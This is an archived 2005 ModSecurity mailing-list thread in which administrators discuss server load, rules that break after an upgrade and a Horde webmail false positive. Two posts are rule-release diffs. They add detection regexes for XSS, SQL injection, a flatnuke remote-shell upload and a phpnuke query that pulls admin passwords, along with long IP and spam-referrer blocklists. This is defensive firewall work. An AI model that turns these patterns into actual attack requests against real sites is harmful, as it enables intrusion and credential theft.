http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051209/1f4c4cb8/attachment.bin From quien-sabe at metaorg.com Fri Dec 9 16:16:34 2005 From: quien-sabe at metaorg.com (Who Knows) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Utilization Issues with rules In-Reply-To: <1134159677.24560.202.camel@localhost.localdomain> References: <439848D7.90400@metaorg.com> <1134159677.24560.202.camel@localhost.localdomain> Message-ID: <4399F432.80609@metaorg.com> Michael Shinn wrote: >On Thu, 2005-12-08 at 07:53 -0700, Who Knows wrote: > > >>Since first implementing mod_security and the gotroot rule set a couple >>of months ago, i have battled an intermittent over utilization issue on >>my server. I was able to quickly identify it as an httpd issue, but it >>took me longer to identify mod_security in conjunction with the >>blacklist.conf rule set as the culpret. >> >>Although my server is running a fairly heavy load, it should be able to >>handle things well ( although it could probably use more RAM ). >> >> > >How much RAM do you have? (I'm trying to work up what minimum RAM >requirement might be for each of the rulesets) > > 512 Megabyes > > >>I have installed the RBL patch to my httpd server, and will hopefully >>soon be able to test the affect using that deterrant will have on my system. >> >> > >Ah cool, are you using the patch to mod_access? I'm going to build an >RBL around that to handle all the IPs in the future. > > Yes, I am using the mod_access patch, but only yesterday defined an access restricting rbl on my test server that doesn't generate much traffic. As time permits I hope to move the restriction to my production server and see how much if any additonal utilization results. I am also having a bit of trouble determining how to make a server wide access statement since my server supports both name and ip based virtual hosts. > > >>Thanks in advance for any words of wisdom you may have to share with me. >> >> >>Regards, >>Jim >> >>_______________________________________________ >>Modsecurity mailing list >>Modsecurity@gotroot.com >>http://lists.gotroot.com/mailman/listinfo/modsecurity >> >> From rami at active.co.il Sun Dec 11 09:28:10 2005 From: rami at active.co.il (Rami Addady) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] After upgrade to mod_security 1.9.1 rules not working Message-ID: <439C377A.6080203@active.co.il> Hi, After I upgrade to 1.9.1 rules are not working. Rule like: SecFilterSelective THE_REQUEST "/awstats\.pl HTTP\/(0\.9|1\.0|1\.1)$" from "rules.conf" are ignore. I tried that in the new v1.9.x "rules.conf" and the old one. I know mod_security 1.9.1 is loading fine because it create new SecFilterDebugLog and SecAuditLog files. Returning back the old v1.8.7 mod_security.so, *.conf files and restarting apache make the rule to be live again. I'm using apache 2 Please advice Regards Addady From mike at gotroot.com Sun Dec 11 13:19:54 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] After upgrade to mod_security 1.9.1 rules not working In-Reply-To: <439C377A.6080203@active.co.il> References: <439C377A.6080203@active.co.il> Message-ID: <439C6DCA.8000004@gotroot.com> Thanks for the report Rami. Well, I see it working on my 1.9.1 boxes, but that doesn't mean there isn't a problem, I'll setup some test boxes to see if I can reproduce it. I wonder if it might not be an issue with the order in which modsecurity loads? Can you check to see if modsecurity loads first for you, or if something else loads before it? Rami Addady wrote: > Hi, > > > After I upgrade to 1.9.1 rules are not working. > > > Rule like: > SecFilterSelective THE_REQUEST "/awstats\.pl HTTP\/(0\.9|1\.0|1\.1)$" > from "rules.conf" are ignore. > > I tried that in the new v1.9.x "rules.conf" and the old one. > I know mod_security 1.9.1 is loading fine because it create new > SecFilterDebugLog and SecAuditLog files. > > Returning back the old v1.8.7 mod_security.so, *.conf files and > restarting apache make the rule to be live again. > > I'm using apache 2 > > Please advice > > Regards > Addady > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity From rami at active.co.il Sun Dec 11 14:49:30 2005 From: rami at active.co.il (Rami Addady) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] After upgrade to mod_security 1.9.1 rules not working In-Reply-To: <439C6DCA.8000004@gotroot.com> References: <439C377A.6080203@active.co.il> <439C6DCA.8000004@gotroot.com> Message-ID: <439C82CA.6050803@active.co.il> modsecurity was the 3rd module, moving it to be 1st did't make any difference. Addady Michael Shinn wrote: > Thanks for the report Rami. Well, I see it working on my 1.9.1 boxes, > but that doesn't mean there isn't a problem, I'll setup some test > boxes to see if I can reproduce it. I wonder if it might not be an > issue with the order in which modsecurity loads? Can you check to see > if modsecurity loads first for you, or if something else loads before it? > > Rami Addady wrote: > >> Hi, >> >> >> After I upgrade to 1.9.1 rules are not working. >> >> >> Rule like: >> SecFilterSelective THE_REQUEST "/awstats\.pl HTTP\/(0\.9|1\.0|1\.1)$" >> from "rules.conf" are ignore. >> >> I tried that in the new v1.9.x "rules.conf" and the old one. >> I know mod_security 1.9.1 is loading fine because it create new >> SecFilterDebugLog and SecAuditLog files. >> >> Returning back the old v1.8.7 mod_security.so, *.conf files and >> restarting apache make the rule to be live again. >> >> I'm using apache 2 >> >> Please advice >> >> Regards >> Addady >> >> _______________________________________________ >> Modsecurity mailing list >> Modsecurity@gotroot.com >> http://lists.gotroot.com/mailman/listinfo/modsecurity > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20051211/1f99b64c/attachment.html From centos at kral.no Sun Dec 11 15:17:33 2005 From: centos at kral.no (=?iso-8859-1?Q?H=E5vard_Hebnes?=) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] False positve using horde Message-ID: <000601c5fe8f$ebae1500$0300000a@haavard> Hi, a customer got a false positive using horde: Request: webmail.domain.com x.x.x.x - - [11/Dec/2005:19:21:18 +0100] "POST /horde/imp/compose.php?uniq=6czyhd1i19mo HTTP/1.0" 500 532 "http://webmail.domain.com/horde/imp/compose.php?actionID=reply_all&index=23&identity=0&array_index=0&thismailbox=INBOX&uniq=1134325 001778" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Talisman Energy (UK) Limited; .NET CLR 1.1.4322)" r0ft@lTq@yYAAAkDdxwAAAAR "-" ---------------------------------------- POST /horde/imp/compose.php?uniq=6czyhd1i19mo HTTP/1.0 Via: 1.0 EUROPROXY1 Content-Length: 13604 Content-Type: multipart/form-data; boundary=---------------------------7d513c121700f2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Talisman Energy (UK) Limited; .NET CLR 1.1.4322) Host: webmail.domain.com Cookie: Horde3=ab71aa04b3b2443543eeb1f32b614af5; auth_key=2824a376131689bfc1e4014b405c8dbe; imp_key=320b96deb30ad926e12bd0245a6a0791 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */* Accept-Language: en-gb Pragma: no-cache Referer: http://webmail.domain.com/horde/imp/compose.php?actionID=reply_all&index=23&identity=0&array_index=0&thismailbox=INBOX&uniq=11343250 01778 Connection: Keep-Alive mod_security-action: 500 mod_security-message: Access denied with code 500. Pattern match "\\s*bcc\\:" at POST_PAYLOAD -----------------------------7d513c121700f2^M Content-Disposition: form-data; name="bcc"^M ^M users_bcc@mail.com^M Regards H?vard Hebnes From mike at gotroot.com Mon Dec 12 15:48:57 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] After upgrade to mod_security 1.9.1 rules not working In-Reply-To: <439C82CA.6050803@active.co.il> References: <439C377A.6080203@active.co.il> <439C6DCA.8000004@gotroot.com> <439C82CA.6050803@active.co.il> Message-ID: <1134420537.7740.34.camel@localhost.localdomain> Hmmm... OK, the plot thickens. Anyone having issues with this rule and 1.9.1? (Use this to test) http://somedomainonyoursystem.com/awstats.pl On Sun, 2005-12-11 at 21:49 +0200, Rami Addady wrote: > > modsecurity was the 3rd module, moving it to be 1st did't make any > difference. > > Addady > > > Michael Shinn wrote: > > Thanks for the report Rami. Well, I see it working on my 1.9.1 > > boxes, but that doesn't mean there isn't a problem, I'll setup some > > test boxes to see if I can reproduce it. I wonder if it might not > > be an issue with the order in which modsecurity loads? Can you > > check to see if modsecurity loads first for you, or if something > > else loads before it? > > > > Rami Addady wrote: > > > > > Hi, > > > > > > > > > After I upgrade to 1.9.1 rules are not working. > > > > > > > > > Rule like: > > > SecFilterSelective THE_REQUEST "/awstats\.pl HTTP\/(0\.9|1\.0|1 > > > \.1)$" > > > from "rules.conf" are ignore. > > > > > > I tried that in the new v1.9.x "rules.conf" and the old one. > > > I know mod_security 1.9.1 is loading fine because it create new > > > SecFilterDebugLog and SecAuditLog files. > > > > > > Returning back the old v1.8.7 mod_security.so, *.conf files and > > > restarting apache make the rule to be live again. > > > > > > I'm using apache 2 > > > > > > Please advice > > > > > > Regards > > > Addady > > > > > > _______________________________________________ > > > Modsecurity mailing list > > > Modsecurity@gotroot.com > > > http://lists.gotroot.com/mailman/listinfo/modsecurity > > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051212/3565e0c4/attachment.bin From mike at gotroot.com Mon Dec 12 15:51:50 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] False positve using horde In-Reply-To: <000601c5fe8f$ebae1500$0300000a@haavard> References: <000601c5fe8f$ebae1500$0300000a@haavard> Message-ID: <1134420710.7740.36.camel@localhost.localdomain> Thanks for the report. Putting out a new release in an hour that fixes this. On Sun, 2005-12-11 at 21:17 +0100, H?vard Hebnes wrote: > Hi, > > a customer got a false positive using horde: > > Request: webmail.domain.com x.x.x.x - - [11/Dec/2005:19:21:18 +0100] "POST /horde/imp/compose.php?uniq=6czyhd1i19mo HTTP/1.0" 500 > 532 > "http://webmail.domain.com/horde/imp/compose.php?actionID=reply_all&index=23&identity=0&array_index=0&thismailbox=INBOX&uniq=1134325 > 001778" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Talisman Energy (UK) Limited; .NET CLR 1.1.4322)" > r0ft@lTq@yYAAAkDdxwAAAAR "-" > ---------------------------------------- > POST /horde/imp/compose.php?uniq=6czyhd1i19mo HTTP/1.0 > Via: 1.0 EUROPROXY1 > Content-Length: 13604 > Content-Type: multipart/form-data; boundary=---------------------------7d513c121700f2 > User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Talisman Energy (UK) Limited; .NET CLR 1.1.4322) > Host: webmail.domain.com > Cookie: Horde3=ab71aa04b3b2443543eeb1f32b614af5; auth_key=2824a376131689bfc1e4014b405c8dbe; imp_key=320b96deb30ad926e12bd0245a6a0791 > Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, > application/msword, application/x-shockwave-flash, */* > Accept-Language: en-gb > Pragma: no-cache > Referer: > http://webmail.domain.com/horde/imp/compose.php?actionID=reply_all&index=23&identity=0&array_index=0&thismailbox=INBOX&uniq=11343250 > 01778 > Connection: Keep-Alive > mod_security-action: 500 > mod_security-message: Access denied with code 500. Pattern match "\\s*bcc\\:" at POST_PAYLOAD > > -----------------------------7d513c121700f2^M > Content-Disposition: form-data; name="bcc"^M > ^M > users_bcc@mail.com^M > > Regards > H?vard Hebnes > > > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051212/562af57e/attachment.bin From dave at groveit.co.uk Mon Dec 12 15:51:50 2005 From: dave at groveit.co.uk (Dave) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] After upgrade to mod_security 1.9.1 rules notworking In-Reply-To: <1134420537.7740.34.camel@localhost.localdomain> Message-ID: 406 page for me - running 1.9.1, apache 1.x -----Original Message----- From: Michael Shinn [mailto:mike@gotroot.com] Sent: 12 December 2005 20:49 To: Rami Addady Cc: Modsecurity@gotroot.com Subject: Re: [Modsecurity] After upgrade to mod_security 1.9.1 rules notworking Hmmm... OK, the plot thickens. Anyone having issues with this rule and 1.9.1? (Use this to test) http://somedomainonyoursystem.com/awstats.pl On Sun, 2005-12-11 at 21:49 +0200, Rami Addady wrote: > > modsecurity was the 3rd module, moving it to be 1st did't make any > difference. > > Addady > > > Michael Shinn wrote: > > Thanks for the report Rami. Well, I see it working on my 1.9.1 > > boxes, but that doesn't mean there isn't a problem, I'll setup some > > test boxes to see if I can reproduce it. I wonder if it might not > > be an issue with the order in which modsecurity loads? Can you > > check to see if modsecurity loads first for you, or if something > > else loads before it? > > > > Rami Addady wrote: > > > > > Hi, > > > > > > > > > After I upgrade to 1.9.1 rules are not working. > > > > > > > > > Rule like: > > > SecFilterSelective THE_REQUEST "/awstats\.pl HTTP\/(0\.9|1\.0|1 > > > \.1)$" > > > from "rules.conf" are ignore. > > > > > > I tried that in the new v1.9.x "rules.conf" and the old one. > > > I know mod_security 1.9.1 is loading fine because it create new > > > SecFilterDebugLog and SecAuditLog files. > > > > > > Returning back the old v1.8.7 mod_security.so, *.conf files and > > > restarting apache make the rule to be live again. > > > > > > I'm using apache 2 > > > > > > Please advice > > > > > > Regards > > > Addady > > > > > > _______________________________________________ > > > Modsecurity mailing list > > > Modsecurity@gotroot.com > > > http://lists.gotroot.com/mailman/listinfo/modsecurity > > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com From mike at gotroot.com Mon Dec 12 16:45:23 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] N-20051212-03 release Message-ID: <1134423923.7740.38.camel@localhost.localdomain> Diff of /etc/modsecurity/apache2-rules.conf 48,49d47 < #Info leak protection < SecFilterSelective OUTPUT "Fatal error\:" Diff of /etc/modsecurity/blacklist.conf 12c12 < #Version: N-20051212-01 --- > #Version: N-20051208-01 16d15 < SecFilterSelective REQUEST_URI "!(horde/imp/compose\.php\?)" chain 19d17 < SecFilterSelective REQUEST_URI "!(horde/imp/compose\.php\?)" chain 22d19 < SecFilterSelective REQUEST_URI "!(horde/imp/compose\.php\?)" chain 24d20 < SecFilterSelective REQUEST_URI "!(horde/imp/compose\.php\?)" chain Diff of /etc/modsecurity/proxy.conf Diff of /etc/modsecurity/rules.conf 13c13 < # Version: N-20051212-03 --- > # Version: N-20051208-03 92a93,95 > #prevent PHP error leakage > SecFilterSelective OUTPUT "Fatal error:" > 611a615,617 > #Info leak protection > SecFilterSelective OUTPUT "Fatal error\:" > 1169c1175 < SecFilterSelective REQUEST_URI "/phpMyAdmin/css/phpmyadmin\.css\.php \?GLOBALS\[cfg\]\[ThemePath\]=(/|.*\.\./)" --- > SecFilterSelective REQUEST_URI "/phpMyAdmin/css/phpmyadmin\.css\.php \?GLOBALS\[cfg\]\[ThemePath\]=/etc" 4195,4233d4200 < < #Nortel SSL VPN Web Interface XSS < SecFilterSelective REQUEST_URI "/tunnelform\.yaws" chain < SecFilterSelective ARG_a "(<[[:space:]]*(script|about|applet|activex| chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>| onmouseover=\'javascript)" < < #Scout Portal Toolkit Possible Sql Injection..and XSS < SecFilterSelective REQUEST_URI "BrowseResources\.php\?ParentId=\'" < SecFilterSelective REQUEST_URI "SPT\-\-UserLogin\.php" chain < SecFilterSelective ARG_F_UserName|ARG_F_Password "(\'|<[[:space:]]*(script|about|applet|activex|chrome)*>.*(script|about| applet|activex|chrome)[[:space:]]*>|onmouseover=\'javascript)" < SecFilterSelective REQUEST_URI "SPT\-\-FullRecord\.php" chain < SecFilterSelective ARG_ResourceId "(\'|<[[:space:]]*(script|about| applet|activex|chrome)*>.*(script|about|applet|activex| chrome)[[:space:]]*>|onmouseover=\'javascript)" < SecFilterSelective REQUEST_URI "SPT\-\-BrowseResources\.php" chain < SecFilterSelective ARG_ParentId "(\'|<[[:space:]]*(script|about| applet|activex|chrome)*>.*(script|about|applet|activex| chrome)[[:space:]]*>|onmouseover=\'javascript)" < SecFilterSelective REQUEST_URI "SPT\-\-Home\.php" chain < SecFilterSelective ARG_ResourceOffset "(\'|<[[:space:]]*(script|about| applet|activex|chrome)*>.*(script|about|applet|activex| chrome)[[:space:]]*>|onmouseover=\'javascript)" < SecFilterSelective REQUEST_URI "SPT\-\-QuickSearch\.php" chain < SecFilterSelective ARG_ss|ARG_F_SearchString "(<[[:space:]]*(script| about|applet|activex|chrome)*>.*(script|about|applet|activex| chrome)[[:space:]]*>|onmouseover=\'javascript)" < SecFilterSelective REQUEST_URI "SPT\-\-BrowseResources\.php" chain < SecFilterSelective ARG_ParentId "(<[[:space:]]*(script|about|applet| activex|chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>| onmouseover=\'javascript)" < SecFilterSelective REQUEST_URI "SPT\-\-AdvancedSearch\.php" chain < SecFilterSelective ARGS "(<[[:space:]]*(script|about|applet|activex| chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>| onmouseover=\'javascript)" < < #Magic Book v2.0 Professional XSS Vuln < SecFilterSelective REQUEST_URI "/book\.cfm \?StartRow.*(<[[:space:]]*(script|about|applet|activex| chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>| onmouseover=\'javascript)" < < #flatnuke remote shell < SecFilterSelective REQUEST_URI "verify\.php" chain < SecFilterSelective THE_REQUEST "mod=modcont&from=index\.php&body=.*\< \?php.*&file=forum.*users.*\.php" < SecFilterSelective REQUEST_URI "forum/users/.*\.php\?cmd=" < < #Netref "cat" SQL Injection Vulnerability < SecFilterSelective REQUEST_URI "/index\.php" chain < SecFilterSelective ARG_cat "((select|grant|delete|insert|drop|alter| replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9| \*| |\,]+[[:space:]]+(from|into|table|database|index| view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|\'|UNION.*SELECT.*FROM)" < < #milliscripts Redirection "domainname" Cross-Site Scripting < SecFilterSelective REQUEST_URI "register\.php" chain < SecFilterSelective ARG_domainname "(<[[:space:]]*(script|about|applet| activex|chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>| onmouseover=\'javascript)" < < # Diff of /etc/modsecurity/blacklist2.conf Diff of /etc/modsecurity/exclude.conf Diff of /etc/modsecurity/rootkits.conf Diff of /etc/modsecurity/useragents.conf Diff of /etc/modsecurity/exclude.conf Diff of /etc/modsecurity/badips.conf Diff of /etc/modsecurity/recons.conf -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051212/c2dfb774/attachment.bin From mike at gotroot.com Mon Dec 12 21:05:14 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] N-20051212-02 release Message-ID: <439E2C5A.9010604@gotroot.com> Diff of /etc/modsecurity/apache2-rules.conf Diff of /etc/modsecurity/blacklist.conf 3609a3610 > SecFilterSelective HTTP_Referer|ARGS "vrajitor\.com" 3611d3611 < SecFilterSelective HTTP_Referer|ARGS "\.finestrealty\.net" 6775d6774 < SecFilterSelective HTTP_Referer|ARGS "\.hurstville\.org" 6823,6829d6821 < SecFilterSelective HTTP_Referer|ARGS "\.stopspending\.org" < SecFilterSelective HTTP_Referer|ARGS "\.mynet-poker\.com" < SecFilterSelective HTTP_Referer|ARGS "\.dickensfoundation\.org" < SecFilterSelective HTTP_Referer|ARGS "\.progressiveupdate\.net" < SecFilterSelective HTTP_Referer|ARGS "\.rulo\.biz" < SecFilterSelective HTTP_Referer|ARGS "\.allkinds-pills\.com" < SecFilterSelective HTTP_Referer|ARGS "\.available-poker\.com" 6905c6897 < #SecFilterSelective HTTP_Referer|ARGS "(www\.)?(xmaster.*|xmaster)\.[a-z]{2,}" --- > SecFilterSelective HTTP_Referer|ARGS "(www\.)?(xmaster.*|xmaster)\.[a-z]{2,}" Diff of /etc/modsecurity/proxy.conf Diff of /etc/modsecurity/rules.conf 13c13 < # Version: N-20051212-04 --- > # Version: N-20051212-03 4233,4234c4233 < #phpnuke exploit < SecFilterSelective REQUEST_URI "/modules\.php\?name=Search&type=comments&query=.*&instory=.*UNION.*SELECT.*pwd.*FROM.*nuke_authors" --- > # Diff of /etc/modsecurity/blacklist2.conf 13c13 < # Version: N-20051212-01 --- > # Version: N-20051208-01 17d16 < SecFilterSelective THE_REQUEST "\.yatas\.com" 19d17 < SecFilterSelective THE_REQUEST "s0l4r1sr0x\.com" 148a147 > SecFilterSelective THE_REQUEST "\.prir0x\.com" 206d204 < SecFilterSelective HTTP_FORWARDED|HTTP_X_FORWARDED_FOR "66\.246\.252\.91" 255d252 < SecFilterSelective HTTP_VIA "kdnproxy\.kdn\.gov\.my" 258,259d254 < SecFilterSelective HTTP_VIA "1\.1 cache7\:80 \(squid" < SecFilterSelective HTTP_VIA "1\.1 www\.pt-server1\.bt\.com" Diff of /etc/modsecurity/exclude.conf Diff of /etc/modsecurity/rootkits.conf Diff of /etc/modsecurity/useragents.conf Diff of /etc/modsecurity/exclude.conf Diff of /etc/modsecurity/badips.conf 14c14 < # Version: N-20051212-01 --- > # Version: N-20051208-01 126c126 < SecFilterSelective REMOTE_ADDR 64\.86\\.235\.210 --- > SecFilterSelective REMOTE_ADDR 64\.86\.235\.210 140a141 > SecFilterSelective REMOTE_ADDR "212\.138\.47\.15" 1228a1230 > SecFilterSelective REMOTE_ADDR 198\.54\.202\.210 1229a1232 > SecFilterSelective REMOTE_ADDR 196\.25\.255\.210 1468a1472 > SecFilterSelective REMOTE_ADDR 217\.73\.160\.158 1680,1920d1683 < SecFilterSelective REMOTE_ADDR 80\.58\.23\.235 < SecFilterSelective REMOTE_ADDR 80\.58\.15\.170 < SecFilterSelective REMOTE_ADDR 203\.106\.3\.173 < SecFilterSelective REMOTE_ADDR 203\.3\.109\.194 < SecFilterSelective REMOTE_ADDR 140\.128\.102\.48 < SecFilterSelective REMOTE_ADDR 211\.219\.169\.35 < SecFilterSelective REMOTE_ADDR 61\.60\.21\.226 < SecFilterSelective REMOTE_ADDR 200\.36\.112\.92 < SecFilterSelective REMOTE_ADDR 213\.27\.252\.3 < SecFilterSelective REMOTE_ADDR 71\.65\.51\.48 < SecFilterSelective REMOTE_ADDR 83\.17\.199\.150 < SecFilterSelective REMOTE_ADDR 61\.60\.21\.226 < SecFilterSelective REMOTE_ADDR 65\.19\.134\.243 < SecFilterSelective REMOTE_ADDR 12\.175\.196\.99 < SecFilterSelective REMOTE_ADDR 12\.227\.143\.48 < SecFilterSelective REMOTE_ADDR 145\.253\.178\.18 < SecFilterSelective REMOTE_ADDR 165\.229\.203\.100 < SecFilterSelective REMOTE_ADDR 193\.171\.32\.4 < SecFilterSelective REMOTE_ADDR 195\.250\.72\.162 < SecFilterSelective REMOTE_ADDR 200\.14\.231\.220 < SecFilterSelective REMOTE_ADDR 200\.21\.21\.93 < SecFilterSelective REMOTE_ADDR 201\.247\.248\.117 < SecFilterSelective REMOTE_ADDR 202\.101\.173\.69 < SecFilterSelective REMOTE_ADDR 202\.141\.148\.18 < SecFilterSelective REMOTE_ADDR 202\.72\.156\.21 < SecFilterSelective REMOTE_ADDR 203\.131\.166\.77 < SecFilterSelective REMOTE_ADDR 203\.145\.159\.45 < SecFilterSelective REMOTE_ADDR 203\.166\.99\.229 < SecFilterSelective REMOTE_ADDR 207\.232\.8\.50 < SecFilterSelective REMOTE_ADDR 209\.26\.228\.213 < SecFilterSelective REMOTE_ADDR 212\.122\.76\.212 < SecFilterSelective REMOTE_ADDR 213\.194\.111\.99 < SecFilterSelective REMOTE_ADDR 216\.212\.57\.98 < SecFilterSelective REMOTE_ADDR 219\.144\.196\.226 < SecFilterSelective REMOTE_ADDR 219\.93\.174\.100 < SecFilterSelective REMOTE_ADDR 219\.93\.174\.105 < SecFilterSelective REMOTE_ADDR 219\.93\.174\.110 < SecFilterSelective REMOTE_ADDR 219\.93\.72\.38 < SecFilterSelective REMOTE_ADDR 222\.66\.5\.205 < SecFilterSelective REMOTE_ADDR 24\.215\.41\.84 < SecFilterSelective REMOTE_ADDR 58\.239\.60\.5 < SecFilterSelective REMOTE_ADDR 58\.77\.116\.130 < SecFilterSelective REMOTE_ADDR 61\.144\.204\.56 < SecFilterSelective REMOTE_ADDR 61\.181\.15\.77 < SecFilterSelective REMOTE_ADDR 61\.37\.123\.214 < SecFilterSelective REMOTE_ADDR 65\.160\.21\.34 < SecFilterSelective REMOTE_ADDR 65\.23\.125\.65 < SecFilterSelective REMOTE_ADDR 65\.31\.253\.199 < SecFilterSelective REMOTE_ADDR 68\.53\.131\.209 < SecFilterSelective REMOTE_ADDR 67\.134\.235\.179 < SecFilterSelective REMOTE_ADDR 216\.107\.198\.67 < SecFilterSelective REMOTE_ADDR 24\.215\.41\.84 < SecFilterSelective REMOTE_ADDR 66\.249\.72\.45 < SecFilterSelective REMOTE_ADDR 170\.210\.238\.7 < SecFilterSelective REMOTE_ADDR 201\.214\.206\.19 < SecFilterSelective REMOTE_ADDR 213\.27\.252\.3 < SecFilterSelective REMOTE_ADDR 159\.61\.240\.138 < SecFilterSelective REMOTE_ADDR 221\.212\.177\.97 < SecFilterSelective REMOTE_ADDR 84\.9\.14\.146 < SecFilterSelective REMOTE_ADDR 147\.46\.184\.188 < SecFilterSelective REMOTE_ADDR 200\.125\.142\.34 < SecFilterSelective REMOTE_ADDR 220\.229\.61\.174 < SecFilterSelective REMOTE_ADDR 201\.243\.59\.56 < SecFilterSelective REMOTE_ADDR 70\.121\.38\.57 < SecFilterSelective REMOTE_ADDR 212\.179\.198\.20 < SecFilterSelective REMOTE_ADDR 58\.234\.38\.181 < SecFilterSelective REMOTE_ADDR 61\.78\.94\.49 < SecFilterSelective REMOTE_ADDR 65\.84\.114\.10 < SecFilterSelective REMOTE_ADDR 65\.96\.135\.225 < SecFilterSelective REMOTE_ADDR 82\.127\.18\.152 < SecFilterSelective REMOTE_ADDR 85\.64\.48\.108 < SecFilterSelective REMOTE_ADDR 85\.65\.56\.15 < SecFilterSelective REMOTE_ADDR 12\.4\.236\.130 < SecFilterSelective REMOTE_ADDR 130\.95\.128\.51 < SecFilterSelective REMOTE_ADDR 164\.100\.194\.34 < SecFilterSelective REMOTE_ADDR 193\.140\.140\.70 < SecFilterSelective REMOTE_ADDR 196\.203\.63\.246 < SecFilterSelective REMOTE_ADDR 200\.206\.243\.98 < SecFilterSelective REMOTE_ADDR 200\.2\.128\.2 < SecFilterSelective REMOTE_ADDR 200\.93\.18\.17 < SecFilterSelective REMOTE_ADDR 200\.93\.69\.215 < SecFilterSelective REMOTE_ADDR 201\.231\.13\.129 < SecFilterSelective REMOTE_ADDR 202\.54\.31\.115 < SecFilterSelective REMOTE_ADDR 202\.66\.33\.167 < SecFilterSelective REMOTE_ADDR 203\.144\.197\.194 < SecFilterSelective REMOTE_ADDR 203\.147\.62\.177 < SecFilterSelective REMOTE_ADDR 203\.162\.114\.20 < SecFilterSelective REMOTE_ADDR 203\.39\.102\.106 < SecFilterSelective REMOTE_ADDR 205\.247\.195\.2 < SecFilterSelective REMOTE_ADDR 208\.3\.68\.134 < SecFilterSelective REMOTE_ADDR 210\.110\.166\.28 < SecFilterSelective REMOTE_ADDR 212\.182\.66\.46 < SecFilterSelective REMOTE_ADDR 212\.64\.160\.19 < SecFilterSelective REMOTE_ADDR 216\.126\.141\.44 < SecFilterSelective REMOTE_ADDR 218\.107\.238\.221 < SecFilterSelective REMOTE_ADDR 218\.111\.107\.10 < SecFilterSelective REMOTE_ADDR 218\.28\.164\.115 < SecFilterSelective REMOTE_ADDR 219\.93\.174\.102 < SecFilterSelective REMOTE_ADDR 222\.119\.122\.107 < SecFilterSelective REMOTE_ADDR 24\.126\.132\.24 < SecFilterSelective 